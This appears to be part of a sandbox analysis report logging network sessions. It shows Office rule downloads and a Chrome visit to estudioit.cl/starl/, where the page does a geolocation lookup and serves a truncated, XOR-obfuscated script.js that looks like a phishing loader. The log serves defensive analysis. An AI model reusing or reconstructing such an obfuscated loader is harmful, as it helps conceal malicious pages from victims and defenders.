2024-11-20 09:20:04 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092004Z-1777c6cb7544n7p6hC1TEByvb400000009n0000000000qgs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.9	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:04 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092004Z-r1d97b995777mdbwhC1TEBezag00000008k000000000c308 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.9	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:04 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:04 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092004Z-1777c6cb754rz2pghC1TEBghen00000009a0000000006qnr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 09:20:04 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.9	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:04 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:04 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092004Z-185f5d8b95cqnkdjhC1NYCm8w800000009xg000000005udy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.9	49777	104.26.9.44	443	5900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:04 UTC	535	OUT	GET /json/ HTTP/1.1 Host: ipapi.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://estudioit.cl Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://estudioit.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 09:20:04 UTC	944	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:04 GMT Content-Type: application/json Content-Length: 763 Connection: close Allow: POST, HEAD, OPTIONS, OPTIONS, GET X-Frame-Options: DENY Vary: Host, origin access-control-allow-origin: https://estudioit.cl X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=edQpN1PoCiqIQjW0xz5xbfrfZdjnMWW30Kyrt7YwbdcVxAzvuC3Ko1Xk2eEbUCioFfpVK4ILhNV%2FVwptiXgveU9lHJyMLCaZk9rArmAZ%2FCbc%2FmLYC1TTWwxe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e575cad6d354211-EWR server-timing: cfL4;desc="?proto=TCP&rtt=3488&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2790&recv_bytes=1117&delivery_rate=1833019&cwnd=239&unsent_bytes=0&cid=4c301de7f0a71953&ts=389&x=0"
2024-11-20 09:20:04 UTC	425	IN	Data Raw: 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 0a 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 22 76 65 72 73 69 6f 6e 22 3a 20 22 49 50 76 34 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 5f 63 6f 64 65 22 3a 20 22 4e 59 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 20 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 6e Data Ascii: { "ip": "8.46.123.75", "network": "8.46.123.0/24", "version": "IPv4", "city": "New York City", "region": "New York", "region_code": "NY", "country": "US", "country_name": "United States", "country_code": "US", "coun
2024-11-20 09:20:04 UTC	338	IN	Data Raw: 22 3a 20 34 30 2e 37 37 38 2c 0a 20 20 20 20 22 6c 6f 6e 67 69 74 75 64 65 22 3a 20 2d 37 33 2e 39 38 38 34 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 0a 20 20 20 20 22 75 74 63 5f 6f 66 66 73 65 74 22 3a 20 22 2d 30 35 30 30 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 61 6c 6c 69 6e 67 5f 63 6f 64 65 22 3a 20 22 2b 31 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 22 3a 20 22 55 53 44 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 44 6f 6c 6c 61 72 22 2c 0a 20 20 20 20 22 6c 61 6e 67 75 61 67 65 73 22 3a 20 22 65 6e 2d 55 53 2c 65 73 2d 55 53 2c 68 61 77 2c 66 72 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 61 72 65 61 22 3a 20 39 36 32 39 30 39 31 Data Ascii: ": 40.778, "longitude": -73.9884, "timezone": "America/New_York", "utc_offset": "-0500", "country_calling_code": "+1", "currency": "USD", "currency_name": "Dollar", "languages": "en-US,es-US,haw,fr", "country_area": 9629091

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.9	49779	173.248.187.77	443	5900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:04 UTC	592	OUT	GET /starl/favicon.ico HTTP/1.1 Host: estudioit.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://estudioit.cl/starl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 09:20:04 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Wed, 20 Nov 2024 09:20:04 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-20 09:20:04 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-11-20 09:20:04 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.9	49772	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:04 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 09:20:04 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=26720 Date: Wed, 20 Nov 2024 09:20:04 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.9	49780	173.248.187.77	443	5900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:04 UTC	351	OUT	GET /starl/script.js HTTP/1.1 Host: estudioit.cl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 09:20:04 UTC	437	IN	HTTP/1.1 200 OK Connection: close content-type: text/javascript last-modified: Tue, 19 Nov 2024 17:48:06 GMT etag: "2e35-673ccf56-74962ac4a09efc43;;;" accept-ranges: bytes content-length: 11829 date: Wed, 20 Nov 2024 09:20:04 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-20 09:20:04 UTC	931	IN	Data Raw: 76 61 72 20 6b 65 79 20 3d 20 22 73 65 63 72 65 74 6b 65 79 22 3b 0d 0a 76 61 72 20 65 6e 63 6f 64 65 64 53 63 72 69 70 74 20 3d 20 22 46 77 6f 41 42 77 67 52 42 52 46 58 45 67 45 48 4e 78 4d 52 42 52 45 31 47 68 59 58 46 77 73 52 47 55 31 65 4e 79 6f 75 4d 51 6f 61 48 77 41 58 42 79 6b 4d 45 77 45 52 44 30 4a 56 55 30 31 4b 55 6c 68 4b 53 78 35 7a 55 30 56 44 55 67 6b 52 48 30 55 61 45 68 55 58 45 51 30 56 50 77 41 42 42 30 56 65 55 6b 4a 54 55 47 39 5a 55 30 56 44 48 67 41 41 53 77 51 4d 42 77 6f 45 41 41 51 57 43 51 41 64 4e 77 51 58 45 30 56 4a 53 30 4a 65 53 47 39 70 55 6b 56 55 53 30 70 57 55 79 67 4d 45 41 77 59 44 6b 55 39 46 68 45 47 45 52 45 64 42 41 74 7a 55 30 56 44 55 67 59 62 42 52 59 4e 55 77 77 51 50 77 6f 57 41 67 6b 63 55 31 68 44 58 51 Data Ascii: var key = "secretkey";var encodedScript = "FwoABwgRBRFXEgEHNxMRBRE1GhYXFwsRGU1eNyouMQoaHwAXBykMEwERD0JVU01KUlhKSx5zU0VDUgkRH0UaEhUXEQ0VPwABB0VeUkJTUG9ZU0VDHgAASwQMBwoEAAQWCQAdNwQXE0VJS0JeSG9pUkVUS0pWUygMEAwYDkU9FhEGEREdBAtzU0VDUgYbBRYNUwwQPwoWAgkcU1hDXQ
2024-11-20 09:20:04 UTC	10898	IN	Data Raw: 42 43 65 55 56 44 55 6b 56 55 53 30 56 5a 55 30 56 44 55 68 68 2b 59 55 56 5a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 77 59 4d 48 42 59 41 53 78 45 63 41 42 45 6f 46 78 78 55 56 6b 56 65 42 77 41 51 42 69 6b 62 43 41 51 56 49 42 45 4d 41 41 51 54 44 6b 4a 43 65 55 56 44 55 6b 56 55 53 30 56 5a 55 30 56 44 55 67 6b 62 43 41 51 56 49 42 45 4d 41 41 51 54 44 6b 73 4b 46 68 45 71 42 67 41 5a 51 78 45 63 41 42 45 6f 46 78 78 59 53 30 4a 49 56 45 78 59 65 45 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 53 77 6b 57 45 41 51 50 49 52 45 62 47 51 51 65 46 6b 73 52 46 77 67 62 48 51 41 77 42 77 41 4f 57 68 45 52 47 42 45 79 46 68 78 4b 53 57 39 55 53 30 56 5a 55 30 56 44 55 68 68 55 43 41 51 4e 45 41 31 44 57 67 42 64 53 78 35 7a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 Data Ascii: BCeUVDUkVUS0VZU0VDUhh+YUVZU0VDUkVUS0VZUwYMHBYASxEcABEoFxxUVkVeBwAQBikbCAQVIBEMAAQTDkJCeUVDUkVUS0VZU0VDUgkbCAQVIBEMAAQTDksKFhEqBgAZQxEcABEoFxxYS0JIVExYeEVUS0VZU0VDUkVUSwkWEAQPIREbGQQeFksRFwgbHQAwBwAOWhERGBEyFhxKSW9US0VZU0VDUhhUCAQNEA1DWgBdSx5zU0VDUkVUS0VZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.9	49781	173.248.187.77	443	5900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:04 UTC	350	OUT	GET /starl/logo.png HTTP/1.1 Host: estudioit.cl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 09:20:05 UTC	510	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=604800 expires: Wed, 27 Nov 2024 09:20:04 GMT content-type: image/png last-modified: Tue, 19 Nov 2024 17:45:29 GMT etag: "534f-673cceb9-a48ecc1075b6feb5;;;" accept-ranges: bytes content-length: 21327 date: Wed, 20 Nov 2024 09:20:04 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-20 09:20:05 UTC	858	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 4f 00 00 01 34 08 06 00 00 00 44 9d 7b b3 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 52 dc 49 44 41 54 78 da ec dd 4b 72 1b 49 da 20 5a af b2 1c 37 d5 2b 20 ea 6e 80 ac 15 10 39 e9 1e 92 35 6f 33 22 57 20 a6 71 01 82 16 40 4b e6 0a 14 32 eb 79 51 c3 be 93 04 57 50 e4 06 ba c0 15 94 78 37 f0 df 70 d0 91 82 28 3e 40 12 08 77 8f 38 c7 2c 0c 59 59 29 21 e0 8f 08 77 ff fc 11 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 37 7f 79 ea ff fc ff 8e fe 9f f3 f6 63 5f 32 f1 52 ff ed e2 ff 8e 5f f3 e7 3e fc bf 61 d2 7e 4c a4 20 af d0 Data Ascii: PNGIHDRO4D{pHYs.#.#x?vtEXtSoftwareAdobe ImageReadyqe<RIDATxKrI Z7+ n95o3"W q@K2yQWPx7p(>@w8,YY)!w7yc_2R_>a~L
2024-11-20 09:20:05 UTC	14994	IN	Data Raw: 00 00 00 80 57 39 3d 3d 8d 5b f0 9e 84 bb a0 e9 8e 14 01 00 6a 27 78 0a 00 00 00 00 bc 48 3a c3 74 1a ee 6d 9f 0b 00 50 3b c1 53 00 00 00 00 60 2d 82 a6 00 40 df 09 9e 02 00 00 00 00 4f 3a 3d 3d 1d b5 1f e7 21 cf 79 a6 00 00 9d f9 ab 24 00 00 00 00 00 1e 73 7a 7a 1a cf 34 bd 0a 02 a7 00 c0 00 58 79 0a 00 00 00 00 fc e0 f4 f4 f4 5d fb 71 11 6c d1 0b 00 0c 88 e0 29 00 40 8f 9c 9e 9e ee b7 1f e3 f6 8a 9f a3 07 fe 93 af e1 6e d5 40 bc 66 67 67 67 5f a5 1a 00 00 0f b4 2b 63 9b 32 06 4e 77 a4 06 00 30 24 82 a7 00 00 95 4b e7 4f c5 ad d4 8e da 6b 77 8d 3f 72 b8 f2 67 2f db 8f e6 ec ec ac 91 92 00 00 a4 36 e2 a4 fd f8 24 25 a0 d8 fe 5f bc e2 ca f0 fd f4 af 97 ff 6e d5 e8 91 fe e1 4d 7b cd ef fd bb 59 fa 8c 93 6c 17 13 6e 4d b4 e5 91 72 b7 9f ca de 6a f9 5b 8a ff Data Ascii: W9==[j'xH:tmP;S`-@O:==!y$szz4Xy]ql)@n@fggg_+c2Nw0$KOkw?rg/6$%_nM{YlnMrj[
2024-11-20 09:20:05 UTC	5475	IN	Data Raw: 0d e7 4d b8 0d 56 bb a0 fe 2c 1d b7 0d fc 66 40 9d 99 91 22 58 ae 14 4c 2b e5 6c ed bd b6 bc f4 71 72 41 7c ff 95 b0 85 d4 f9 86 eb f6 58 0d 2a b6 5e e7 3c 2f ed be 78 7e 5a 1f df 79 e7 e9 b7 e5 36 55 e2 59 83 e7 75 f9 7e 6b df ab 33 ed e6 07 db 1b 31 f8 5f 4a 60 64 d6 e1 77 e5 7e 77 4e 6b 5d 15 5d d0 04 a7 4d b5 c5 e2 ef f9 d4 fe 2e bb 58 3d fc 7c 28 69 ac 51 f0 14 00 ba 96 06 b7 2f 2b fe 09 17 9b d8 ae 04 7a 54 7f 8e 87 30 7b 34 cd 58 fe b7 52 58 bc 92 02 96 ef fb 54 37 d2 59 ae 25 ac 94 b8 49 5b c0 6d d2 d4 40 6f d1 9a 82 ee e5 b0 4f 13 23 d2 33 aa 84 ed 7a 4d 4e ac a7 2d 3a cb 7c 0b 47 72 a1 0a b1 bd 70 65 15 ea 77 cf db d8 c6 98 15 72 3b 37 e9 48 98 ae 9e 1b 71 fc e4 